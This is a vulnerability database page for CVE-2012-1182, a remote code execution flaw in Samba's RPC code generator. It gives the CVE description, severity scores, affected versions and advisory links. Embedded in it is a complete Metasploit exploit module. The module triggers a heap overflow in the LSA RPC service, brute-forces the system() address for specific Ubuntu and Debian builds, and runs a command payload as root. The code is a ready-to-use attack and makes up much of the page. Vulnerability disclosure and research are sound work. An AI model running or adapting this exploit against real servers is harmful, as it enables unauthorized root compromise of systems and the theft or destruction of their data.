CVE-2012-1182 : Detail

CVE-2012-1182

88.1%V3
Network
2012-04-10
19h00 +00:00
2018-01-17
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The RPC code generator in Samba 3.x before 3.4.16, 3.5.x before 3.5.14, and 3.6.x before 3.6.4 does not implement validation of an array length in a manner consistent with validation of array memory allocation, which allows remote attackers to execute arbitrary code via a crafted RPC call.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21850

Publication date : 2012-10-09 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow', 'Description' => %q{ This module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'blasty', # Exploit 'mephos', # Debian Squeeze target 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-1182'], ['OSVDB', '81303'], ['BID', '52973'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 811, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash telnet python perl' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1' ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start for the final version should be 0xb20 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230b20 }, 'Stop' => { 'Ret' => 0x22a00b20 }, 'Step' => 0x1000 } } ], ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x950 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230950 }, 'Stop' => { 'Ret' => 0x22a00950 }, 'Step' => 0x1000 } } ], ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230680 }, 'Stop' => { 'Ret' => 0x22a00680 }, 'Step' => 0x1000 } } ], ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0xb6aaa1b0 }, 'Stop' => { 'Ret' => 0xb6ce91b0 }, 'Step' => 0x1000 } } ] ], 'DisclosureDate' => 'Apr 10 2012', 'DefaultTarget' => 0 )) register_options([ OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) ], self.class) end def exploit if target.bruteforce? bf = target.bruteforce if datastore['StartBrute'] and datastore['StartBrute'] > 0 bf.start_addresses['Ret'] = datastore['StartBrute'] end if datastore['StopBrute'] and datastore['StopBrute'] > 0 bf.stop_addresses['Ret'] = datastore['StopBrute'] end if bf.start_addresses['Ret'] > bf.stop_addresses['Ret'] raise ArgumentError, "StartBrute should not be larger than StopBrute" end end super end def check begin connect() smb_login() disconnect() version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0] minor = version.scan(/\.(\d*)$/).flatten[0].to_i print_status("Version found: #{version}") return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16 return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14 return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4 return Exploit::CheckCode::Safe rescue ::Exception return CheckCode::Unknown end end def brute_exploit(target_addrs) print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) datastore['DCERPC::fake_bind_multi'] = false datastore['DCERPC::max_frag_size'] = 4248 pipe = "lsarpc" print_status("Connecting to the SMB service...") connect() print_status("Login to the SMB service...") smb_login() handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") stub = "X" * 20 cmd = ";;;;" # padding cmd << "#{payload.encoded}\x00" # system argument tmp = cmd * (816/cmd.length) tmp << "\x00"*(816-tmp.length) stub << NDR.short(2) # level stub << NDR.short(2) # level 2 stub << NDR.long(1) # auditing mode stub << NDR.long(1) # ptr stub << NDR.long(100000) # r-> count stub << NDR.long(20) # array size stub << NDR.long(0) stub << NDR.long(100) stub << rand_text_alpha(target['Offset']) # Crafted talloc chunk stub << 'A' * 8 # next, prev stub << NDR.long(0) + NDR.long(0) # parent, child stub << NDR.long(0) # refs stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP stub << NDR.long(0) # name stub << "AAAA" # size stub << NDR.long(0xe8150c70) # flags stub << "AAAABBBB" stub << tmp # pointer to tmp+4 in $esp stub << rand_text(32632) stub << rand_text(62000) print_status("Calling the vulnerable function...") begin call(dcerpc, 0x08, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError print_status('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') end end handler disconnect end # Perform a DCE/RPC Function Call def call(dcerpc, function, data, do_recv = true) frag_size = data.length if dcerpc.options['frag_size'] frag_size = dcerpc.options['frag_size'] end object_id = '' if dcerpc.options['object_call'] object_id = dcerpc.handle.uuid[0] end if options['random_object_id'] object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end call_packets = make_request(function, data, frag_size, dcerpc.context, object_id) call_packets.each { |packet| write(dcerpc, packet) } return true if not do_recv raw_response = '' begin raw_response = dcerpc.read() rescue ::EOFError raise Rex::Proto::DCERPC::Exceptions::NoResponse end if (raw_response == nil or raw_response.length == 0) raise Rex::Proto::DCERPC::Exceptions::NoResponse end dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response) if dcerpc.last_response.type == 3 e = Rex::Proto::DCERPC::Exceptions::Fault.new e.fault = dcerpc.last_response.status raise e end dcerpc.last_response.stub_data end # Used to create standard DCERPC REQUEST packet(s) def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') opnum = opnum.to_i size = size.to_i ctx = ctx.to_i chunks, frags = [], [] ptr = 0 # Break the request into fragments of 'size' bytes while ptr < data.length chunks.push( data[ ptr, size ] ) ptr += size end # Process requests with no stub data if chunks.length == 0 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) return frags end # Process requests with only one fragment if chunks.length == 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) return frags end # Create the first fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) # Create all of the middle fragments while chunks.length != 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) end # Create the last fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) return frags end # Write data to the underlying socket def write(dcerpc, data) dcerpc.socket.write(data) data.length end end

Products Mentioned

Configuraton 0

Samba>>Samba >> Version To (including) 3.4.15

Samba>>Samba >> Version 3.0.0

Samba>>Samba >> Version 3.0.1

Samba>>Samba >> Version 3.0.2

Samba>>Samba >> Version 3.0.2

Samba>>Samba >> Version 3.0.2a

Samba>>Samba >> Version 3.0.3

Samba>>Samba >> Version 3.0.4

Samba>>Samba >> Version 3.0.4

Samba>>Samba >> Version 3.0.5

Samba>>Samba >> Version 3.0.6

Samba>>Samba >> Version 3.0.7

Samba>>Samba >> Version 3.0.8

Samba>>Samba >> Version 3.0.9

Samba>>Samba >> Version 3.0.10

Samba>>Samba >> Version 3.0.11

Samba>>Samba >> Version 3.0.12

Samba>>Samba >> Version 3.0.13

Samba>>Samba >> Version 3.0.14

Samba>>Samba >> Version 3.0.14

Samba>>Samba >> Version 3.0.14a

Samba>>Samba >> Version 3.0.15

Samba>>Samba >> Version 3.0.16

Samba>>Samba >> Version 3.0.17

Samba>>Samba >> Version 3.0.18

Samba>>Samba >> Version 3.0.19

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20a

Samba>>Samba >> Version 3.0.20b

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21a

Samba>>Samba >> Version 3.0.21b

Samba>>Samba >> Version 3.0.21c

Samba>>Samba >> Version 3.0.22

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23a

Samba>>Samba >> Version 3.0.23b

Samba>>Samba >> Version 3.0.23c

Samba>>Samba >> Version 3.0.23d

Samba>>Samba >> Version 3.0.24

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25a

Samba>>Samba >> Version 3.0.25b

Samba>>Samba >> Version 3.0.25c

Samba>>Samba >> Version 3.0.26

Samba>>Samba >> Version 3.0.26

Samba>>Samba >> Version 3.0.26a

Samba>>Samba >> Version 3.0.27

Samba>>Samba >> Version 3.0.27

Samba>>Samba >> Version 3.0.28

Samba>>Samba >> Version 3.0.28

Samba>>Samba >> Version 3.0.29

Samba>>Samba >> Version 3.0.30

Samba>>Samba >> Version 3.0.31

Samba>>Samba >> Version 3.0.32

Samba>>Samba >> Version 3.0.33

Samba>>Samba >> Version 3.0.34

Samba>>Samba >> Version 3.0.35

Samba>>Samba >> Version 3.0.36

Samba>>Samba >> Version 3.0.37

Samba>>Samba >> Version 3.1.0

Samba>>Samba >> Version 3.2.0

Samba>>Samba >> Version 3.2.1

Samba>>Samba >> Version 3.2.2

Samba>>Samba >> Version 3.2.3

Samba>>Samba >> Version 3.2.4

Samba>>Samba >> Version 3.2.5

Samba>>Samba >> Version 3.2.6

Samba>>Samba >> Version 3.2.7

Samba>>Samba >> Version 3.2.8

Samba>>Samba >> Version 3.2.9

Samba>>Samba >> Version 3.2.10

Samba>>Samba >> Version 3.2.11

Samba>>Samba >> Version 3.2.12

Samba>>Samba >> Version 3.2.13

Samba>>Samba >> Version 3.2.14

Samba>>Samba >> Version 3.2.15

Samba>>Samba >> Version 3.3.0

Samba>>Samba >> Version 3.3.1

Samba>>Samba >> Version 3.3.2

Samba>>Samba >> Version 3.3.3

Samba>>Samba >> Version 3.3.4

Samba>>Samba >> Version 3.3.5

Samba>>Samba >> Version 3.3.6

Samba>>Samba >> Version 3.3.7

Samba>>Samba >> Version 3.3.8

Samba>>Samba >> Version 3.3.9

Samba>>Samba >> Version 3.3.10

Samba>>Samba >> Version 3.3.11

Samba>>Samba >> Version 3.3.12

Samba>>Samba >> Version 3.3.13

Samba>>Samba >> Version 3.3.14

Samba>>Samba >> Version 3.3.15

Samba>>Samba >> Version 3.3.16

Samba>>Samba >> Version 3.4.0

Samba>>Samba >> Version 3.4.1

Samba>>Samba >> Version 3.4.2

Samba>>Samba >> Version 3.4.3

Samba>>Samba >> Version 3.4.4

Samba>>Samba >> Version 3.4.5

Samba>>Samba >> Version 3.4.6

Samba>>Samba >> Version 3.4.7

Samba>>Samba >> Version 3.4.8

Samba>>Samba >> Version 3.4.9

Samba>>Samba >> Version 3.4.10

Samba>>Samba >> Version 3.4.11

Samba>>Samba >> Version 3.4.12

Samba>>Samba >> Version 3.4.13

Samba>>Samba >> Version 3.4.14

Configuraton 0

Samba>>Samba >> Version 3.5.0

Samba>>Samba >> Version 3.5.1

Samba>>Samba >> Version 3.5.2

Samba>>Samba >> Version 3.5.3

Samba>>Samba >> Version 3.5.4

Samba>>Samba >> Version 3.5.5

Samba>>Samba >> Version 3.5.6

Samba>>Samba >> Version 3.5.7

Samba>>Samba >> Version 3.5.8

Samba>>Samba >> Version 3.5.9

Samba>>Samba >> Version 3.5.10

Samba>>Samba >> Version 3.5.11

Samba>>Samba >> Version 3.5.12

Samba>>Samba >> Version 3.5.13

Configuraton 0

Samba>>Samba >> Version 3.6.0

Samba>>Samba >> Version 3.6.1

Samba>>Samba >> Version 3.6.2

Samba>>Samba >> Version 3.6.3

References

http://www.mandriva.com/security/advisories?name=MDVSA-2012:055
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/48751
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2012/dsa-2450
Tags : vendor-advisory, x_refsource_DEBIAN
http://marc.info/?l=bugtraq&m=134323086902585&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48844
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1423-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/48816
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=133951282306605&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48879
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48754
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1026913
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/48818
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48999
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=133951282306605&w=2
Tags : vendor-advisory, x_refsource_HP
http://support.apple.com/kb/HT5281
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=134323086902585&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48873
Tags : third-party-advisory, x_refsource_SECUNIA